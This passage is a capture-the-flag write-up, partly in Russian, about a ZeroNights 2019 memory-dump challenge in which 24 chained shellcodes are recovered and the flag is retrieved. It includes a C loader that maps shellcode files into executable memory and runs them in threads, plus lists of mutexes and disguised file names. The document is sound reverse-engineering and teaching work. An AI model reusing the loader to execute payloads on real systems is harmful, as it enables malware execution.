    First of all let's precache strings from the dump.


    strings > strings_ascii.txt
    strings -e l > strings_wide.txt

    Most interesting one is command execution log:


    cd ..
    .\injector.exe 192.168.1.65
    .\run.exe .\storage
    cd .\server\
    .\run.exe block1
    .\run.exe block0
    cd Z:\zn_2019\
    cd .\server\
    cd ..
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    cd ..
    touch
    echo
    echo qwe 
    echo qwe > flag.txt
    .\injector.exe 192.168.1.65
    echo qwe > flag.txt
    .\injector.exe 192.168.1.65
    echo qwe > flag.txt
    .\injector.exe 192.168.1.65
    echo qwe > flag.txt
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    injector.exe 1921.68.1.65
    injector.exe 192.68.1.65
    ./injector.exe 192.68.1.65
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\server\
    run storage
    .\run.exe .\storage
    cd Z:\zn_2019\server\
    .\run.exe block1
    cd Z:\zn_2019\server\
    .\run.exe block0
    cd ..
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    cd Z:\zn_2019\
    .\Injector2.exe 192.168.1.65
    cd Z:\zn_2019\
    .\injector.exe 192.168.1.65
    .\injector2.exe 192.168.1.65
    cd Z:\zn_2019\
    .\Injector2.exe 192.168.1.65
    '.\ConsoleApplication5 (2).exe' 192.168.1.65

    Not Important note:


    Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


    SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=138A400 zn_2019\Injector2.exe
    SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe
    SIGN.MEDIA=138A400 zn_2019\NOTE1.exe
    SIGN.MEDIA=138A400 zn_2019\NOTE1.exe
    SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe
    SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe
    SIGN.MEDIA=138A400 zn_2019\injector.exe
    SIGN.MEDIA=138A400 zn_2019\nnnn.exe
    SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe
    SIGN.MEDIA=138A400 zn_2019\note.exe
    SIGN.MEDIA=138A400 zn_2019\note2.exe
    SIGN.MEDIA=138A400 zn_2019\note3.exe
    SIGN.MEDIA=138A400 zn_2019\note4.exe
    SIGN.MEDIA=138A400 zn_2019\random.exe
    SIGN.MEDIA=138A400 zn_2019\z.exe
    SIGN.MEDIA=17582C zn_2019\Injector2.exe
    SIGN.MEDIA=17582C zn_2019\injector.exe
    SIGN.MEDIA=196C2 zn_2019\server\run.exe
    SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe
    SIGN.MEDIA=1C176B0 zn_2019\injector.exe
    SIGN.MEDIA=1C176B0 zn_2019\note.exe
    SIGN.MEDIA=1C176B0 zn_2019\note2.exe
    SIGN.MEDIA=1C176B0 zn_2019\note3.exe
    SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe
    SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe
    SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe
    SIGN.MEDIA=1C1D02C zn_2019\injector.exe
    SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe
    SIGN.MEDIA=1C1D02C zn_2019\note.exe
    SIGN.MEDIA=1C1D02C zn_2019\note2.exe
    SIGN.MEDIA=1C1D02C zn_2019\note3.exe
    SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe
    SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe
    SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe
    SIGN.MEDIA=1C1DAB0 zn_2019\note.exe
    SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe
    SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe
    SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=1C30058 zn_2019\Injector2.exe
    SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe
    SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe
    SIGN.MEDIA=1C30058 zn_2019\injector.exe
    SIGN.MEDIA=1C30058 zn_2019\injector.exe
    SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe
    SIGN.MEDIA=1C30058 zn_2019\note.exe
    SIGN.MEDIA=1C30058 zn_2019\note2.exe
    SIGN.MEDIA=1C30058 zn_2019\note3.exe
    SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=1C89400 zn_2019\Injector2.exe
    SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe
    SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe
    SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe
    SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe
    SIGN.MEDIA=1C89400 zn_2019\injector.exe
    SIGN.MEDIA=1C89400 zn_2019\nnnn.exe
    SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe
    SIGN.MEDIA=1C89400 zn_2019\note.exe
    SIGN.MEDIA=1C89400 zn_2019\note.exe
    SIGN.MEDIA=1C89400 zn_2019\note2.exe
    SIGN.MEDIA=1C89400 zn_2019\note3.exe
    SIGN.MEDIA=1C89400 zn_2019\note4.exe
    SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe
    SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe
    SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe
    SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe
    SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe
    SIGN.MEDIA=1C8A800 zn_2019\injector.exe
    SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe
    SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe
    SIGN.MEDIA=1C8A800 zn_2019\note.exe
    SIGN.MEDIA=1C8A800 zn_2019\note2.exe
    SIGN.MEDIA=1C8A800 zn_2019\note3.exe
    SIGN.MEDIA=1C8A800 zn_2019\note4.exe
    SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=3EDC2 zn_2019\server\a.exe
    SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe
    SIGN.MEDIA=3EDC2 zn_2019\server\run.exe
    SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=4482C zn_2019\PEview.exe
    SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=5B0058 zn_2019\Injector2.exe
    SIGN.MEDIA=5B0058 zn_2019\injector.exe
    SIGN.MEDIA=5B0058 zn_2019\note.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe
    SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe
    SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=AB82C zn_2019\injector.exe
    SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe
    SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe
    SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe
    SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe
    SIGN.MEDIA=BA802 zn_2019\server\run.exe
    SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe
    SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe
    SIGN.MEDIA=E00058 zn_2019\Injector2.exe
    SIGN.MEDIA=E00058 zn_2019\injector.exe
    SIGN.MEDIA=E00058 zn_2019\note.exe
    SIGN.MEDIA=E00058 zn_2019\note2.exe
    SIGN.MEDIA=E00058 zn_2019\note2.exe
    SIGN.MEDIA=E9982 zn_2019\server\run.exe

    I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




    data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


    This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



    I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


    One of shellcode #21 contained references to other, it is probably the main one.


    Global\vtHAjnNbCecOeNAnVeQFmdRw
    Global\jGzXXZJbXGPYniopljDEdwuD
    Global\jpBuyMNJzdnpwHimVlcBkwGo
    Global\ArlCJOxJFOKRkqOLcBhvjYqj
    Global\THxjCBohxSlNgCFbwJsHujqk
    Global\BOiJhsLFBuZdsFdCrLKEucpJ
    Global\iYxszVIFfsuzzEmGwgOQeEcb
    Global\NOluZoXPJalShopCCuNnWQbR
    Global\GCrtPmNEAOsZpSNNBdiYQfgz
    Global\pVVgeqcREhXSgKCwhkeyfTXw
    Global\trsQPehKvlxBJhEqIPtwzjxi
    Global\ngVrhgAEqcDssFsNerrAZsFz
    Global\KiZvGyiMnyTgvQdFNGcudfTY
    Global\FzXvKPKGCPMAERklFMXVMYga
    Global\nCZpFZPtyidhFOvVeemfyJAC
    Global\pjRmfOLLBXIbsJholoasvrqC
    Global\mhOVYcYRKgWdABAsgkvrcOOM
    Global\syGiShcLTXfQYGAAiafYBxoF
    Global\KbFVsPCPZrfVlUIQlvVoJLXW
    Global\XbuYiHCxQLTLApuToFldJIgI
    Global\auFqpIQAlsHcvjPEakqHyIeA
    Global\MrnXOMJvHmYBxRfkbLBUYWgn
    Global\GYVOmvrLhCpgQUPfnOshzzem
    Global\qaswedfrtghyujkiol121232
    \\.\pipe\zn_shell_stor

    Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor".


    File Tags Mutex
    b1 mov mov Global\GCrtPmNEAOsZpSNNBdiYQfgz
    b2 SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ" Global\NOluZoXPJalShopCCuNnWQbR
    b3 inc byte [rbp+0Ch] Global\ngVrhgAEqcDssFsNerrAZsFz
    b4 repne scasb strlen() == 18 Global\jpBuyMNJzdnpwHimVlcBkwGo
    b5 ?? Global\ArlCJOxJFOKRkqOLcBhvjYqj
    b6 xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83" Global\MrnXOMJvHmYBxRfkbLBUYWgn
    b7 ?? Global\GYVOmvrLhCpgQUPfnOshzzem
    b8 cmp word [rbp+0Ch], 12h Global\KbFVsPCPZrfVlUIQlvVoJLXW
    b9 ?? Global\BOiJhsLFBuZdsFdCrLKEucpJ
    b10 ?? Global\iYxszVIFfsuzzEmGwgOQeEcb
    b11 cmp Global\pjRmfOLLBXIbsJholoasvrqC
    b12 add xor cl x2 Global\nCZpFZPtyidhFOvVeemfyJAC
    b13 inc [rbp+0Ch] Global\auFqpIQAlsHcvjPEakqHyIeA
    b14 dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch] Global\syGiShcLTXfQYGAAiafYBxoF
    b15 WIN! Sleep Beep Global\XbuYiHCxQLTLApuToFldJIgI
    b16 save byte Global\mhOVYcYRKgWdABAsgkvrcOOM
    b17 add xor cl x2 Global\FzXvKPKGCPMAERklFMXVMYga
    b18 zero rbp (0, 211h, 80h) Global\trsQPehKvlxBJhEqIPtwzjxi
    b19 ?? Global\KiZvGyiMnyTgvQdFNGcudfTY
    b20 Read from C:\beeps\flag.txt Global\vtHAjnNbCecOeNAnVeQFmdRw
    b21 MAIN
    b22 Xor Global\THxjCBohxSlNgCFbwJsHujqk
    b23 cmp dw[rbp+0Ch], 256 dec Global\pVVgeqcREhXSgKCwhkeyfTXw
    b24 beep(1000, 1100) Global\jGzXXZJbXGPYniopljDEdwuD

    Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


    I decided to execute it all and see what happens. All shellcodes was saved as files bN, where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


    #include <windows.h>
    
    void load_shellcode(int index) {
        FILE* fp;   
        DWORD dwThread;
        int size;
        CHAR filename[32];
    
        sprintf_s(filename, "b%i", index);
        fopen_s(&fp, filename, "rb");
        fseek(fp, 0, SEEK_END);
        size = ftell(fp);
        fseek(fp, 0, SEEK_SET); 
        LPVOID pMem = VirtualAlloc(
            NULL, 
            0x1000, 
            MEM_COMMIT | MEM_RESERVE, 
            PAGE_EXECUTE_READWRITE
        );
        printf("Loaded %i | size=%i | at %p\n", index, size, pMem); 
        fread(pMem, 1, size, fp);   
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread);
        fclose(fp);
    }
    
    int main() {
        load_shellcode(21);
        Sleep(1000);
        for (int i = 1; i <= 24; i++) {
            if (i == 21)
                continue;
            load_shellcode(i);
        }
        while (1)
            Sleep(1000);
    }

    I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


    Program executed and flag showed up in memory after XOR operation.


    Flag: zn{$ucHSL0W!pC}


    Также sysenter подготовил разбор задания 6 дня. Ознакомится можно здесь.


    Немного статистики


    В этом году более двух тысяч человек посетили страницы заданий либо скачали необходимые для решения файлы. При этом 136 участников сделали попытку сдать флаг.


    Разброс в сложности заданий был достаточно большой.
    Самым сложным оказалось задание четвертого дня — ASR-EHD от Digital Security. С ним справился один человек (AV1ct0r), который отослал флаг спустя 22ч 15м после начала задания.


    Самым же легким оказался Protected Shell от RuCTFE. С ним справилось больше всего участников — 10. Первым стал vos, сдав правильный флаг через 1ч 26м.


    Надеемся, вам понравились задания этого года. Ждем всех 12-13 ноября на конференции ZeroNights.

    Digital Security
    Безопасность как искусство

    Похожие публикации

    Комментарии 0

    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

    Самое читаемое